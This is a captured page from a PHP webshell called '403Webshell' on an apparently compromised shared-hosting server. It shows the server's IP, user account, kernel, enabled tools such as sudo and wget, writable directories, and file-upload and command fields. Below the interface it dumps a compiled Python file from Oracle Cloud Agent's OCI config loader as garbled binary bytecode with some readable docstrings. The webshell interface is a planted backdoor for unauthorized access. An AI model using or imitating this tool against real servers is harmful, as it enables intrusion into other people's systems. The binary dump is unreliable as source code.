403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/oci/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/oci/config.pyc
a

M��f�'�@sXdZddlmZddlZddlZddlZddlZddlmZddl	m
Z
mZmZm
Z
ddlmZddlmZmZmZmZgd	�Zd
ddd�Zej�d
dd�Zej�d
dd�ZdZe�d�e�d�e�d�d�Zhd�ZddiZdhZ dZ!dZ"dZ#dZ$e�%e&�Z'dd�Z(ee(iZ)eefdd�Z*d d!�Z+d"d#�Z,d$d%�Z-d&d'�Z.d(d)�Z/d*d+�Z0d,d-�Z1dS).a�
Helpers for loading and validating service configuration.

You can configure services by passing a config dict directly, or by loading
one from a configuration file.

The following keys are required::

    fingerprint
    key_file
    region
    tenancy
    user

Additionally, the following keys are optional::

    additional_user_agent (default "")
    log_requests (default False)
    pass_phrase (required if your key_file has a passphrase)

�)�absolute_importN)�six�)�ConfigFileNotFound�ProfileNotFound�
InvalidConfig�InvalidKeyFilePath)�signers)�AUTHENTICATION_TYPE_FIELD_NAME�#get_authentication_type_from_config� DELEGATION_TOKEN_FILE_FIELD_NAME�<DELEGATION_TOKEN_WITH_INSTANCE_PRINCIPAL_AUTHENTICATION_TYPE)�DEFAULT_CONFIG�	from_file�validate_configF�)�log_requests�additional_user_agent�pass_phrase�~z.oci�configz
.oraclebmc�DEFAULTz>^([0-9a-zA-Z-_]+[.:])([0-9a-zA-Z-_]*[.:]){3,}([0-9a-zA-Z-_]+)$z^([0-9a-f]{2}:){15}[0-9a-f]{2}$)�tenancy�user�fingerprint>�key_filerr�regionrr�key_content�OCI_CONFIG_FILE�
OCI_REGIONrz�For more info about config file and how to get required information, see https://docs.oracle.com/en-us/iaas/Content/API/Concepts/sdkconfig.htmcCsD|�t�}|durtd��tj�|�}tj�|�s@td�|���dS)NzNERROR: Please specify the location of the delegation_token_file in the config.z%Delegation token file not found at {})�getrr�os�path�
expanduser�isfile�format)r�delegation_token_file_path�#expanded_delegation_token_file_path�r(�n/sparta/input/_build_configuration/image_build+validate/lib/bmcenv/lib64/python3.9/site-packages/oci/config.py�2_validate_delegation_token_with_instance_principalLs
r*cCs�t|�}tjdd�}|�|�s,td�|���||vrHtd�||�t��tt	�}|�
||�t|d�|d<tD]}||vrrt
d�|�t��qrt|||�|S)a�Create a config dict from a file.

    :param file_location: Path to the config file.  Defaults to ~/.oci/config and with a fallback
                            to environment variable OCI_CONFIG_FILE, then ~/.oraclebmc/config.
    :param profile_name: The profile to load from the config file.  Defaults to "DEFAULT"
    :return: A config dict that can be used to create clients.
    N)�
interpolationz�Could not find config file at {}, please follow the instructions in the link to setup the config file https://docs.cloud.oracle.com/en-us/iaas/Content/API/Concepts/sdkconfig.htmz)Profile '{}' not found in config file {} rz�'{}' cannot be specified in a config file for security reasons. To use this key you must add it to the config programmatically. )�_get_config_path_with_fallback�configparser�ConfigParser�readrr%r�!CONFIG_FILE_DEBUG_INFORMATION_LOG�dictr�update�_as_bool�CONFIG_FILE_BLACKLISTED_KEYS�
ValueError�invalid_key_file_path_checker)�
file_location�profile_name�expanded_file_location�parserr�keyr(r(r)r_s
rc
KsDd|vr<t|dtj�s8t|dtj�s8t|dtj�r<dSt|vrbt|�}t�|�}||�dSi}t	D]�}t
�|�}||vs�||durj||vs�||durj|tkr�t�
d�t��tj�t�}|r�t�
d�t��||t<q�d||<qjd||<qjt�t�D]0\}}	||v�r�q|	�||��sd||<�q|�r@t|��dS)N�signerz<Region not found in config, checking environment variable {}z+Setting region from environment variable {}�missing�	malformed)�
isinstancer	�%InstancePrincipalsSecurityTokenSigner�SecurityTokenSigner�
KeyPairSignerr
r�$AUTH_TYPE_TO_VALIDATION_FUNCTION_MAPr �REQUIRED�REQUIRED_FALLBACKS�REGION_KEY_NAME�logger�debugr%�REGION_ENV_VAR_NAMEr!�environr�	iteritems�PATTERNS�matchr)
r�kwargs�	auth_type�validator_function�errors�required_key�fallback_key�region_from_env_varr;�patternr(r(r)r}s60

(



rcCs|�|t�|��S)N)r r)rr;r(r(r)�get_config_value_or_default�srVcCs>|dvr|S|��dvrdS|��dvr,dStd�|���dS)N)TF)�1�yes�true�onT)�0�no�false�offFz({!r} is not a valid alias for True/False)�lowerr5r%)�xr(r(r)r3�sr3cCs6t|�dkr td�|d���n|r2td�|���dS)NrzError in config: {}rz'Found the following config errors: {!r})�lenr5r%)rQr(r(r)�_raise_on_errors�srbcCs�tj�|�}tj�t�}|tks4|tkrHtj�|�rHt�d�|��|Stj	�
t�r|t�d�t��tj�tj	�
t��}|Stj�|�r�|}|St�d�|��|S)NzConfig file found at {}znNo file location specified and default file does not exist. Getting path info from the environment variable {})r!r"r#�FALLBACK_DEFAULT_LOCATION�DEFAULT_LOCATIONr$rGrHr%rJr �CONFIG_FILE_PATH_ENV_VAR_NAME)r7r9�'expanded_fallback_default_file_locationr(r(r)r,�s$��r,cCshd|vrdtj�|�d��}tj�|�sdt|�d�||�}|rFd�|�nd}d�|||�t}t|��dS)Nrz at line {}rzRConfig file {} is invalid: the key_file's value '{}'{} must be a valid file path. )	r!r"r#r r$�get_linenum_from_filer%r0r)rr9r8�
key_file_path�line_number�line_message�messager(r(r)r6�sr6cCs�t|d���}d}d|d}t|�D]\\}}|��}t|�dkrN|ddkrNq$||vrZd}|r$||vr$|dWd�Sq$Wd�n1s�0YdS)	N�rF�[�]rr�#T)�open�	enumerate�stripra)r;�filename�profile�f�
profile_found�
profile_tokenri�liner(r(r)rg�s:rg)2�__doc__�
__future__rr-r!�re�logging�oci._vendorr�
exceptionsrrrr�authr	�utilr
rrr
�__all__rr"�joinrdrc�DEFAULT_PROFILE�compilerLrDrEr4rerIrFr0�	getLogger�__name__rGr*rCrrrVr3rbr,r6rgr(r(r(r)�<module>sT����
�*

Youez - 2016 - github.com/yon3zu
LinuXploit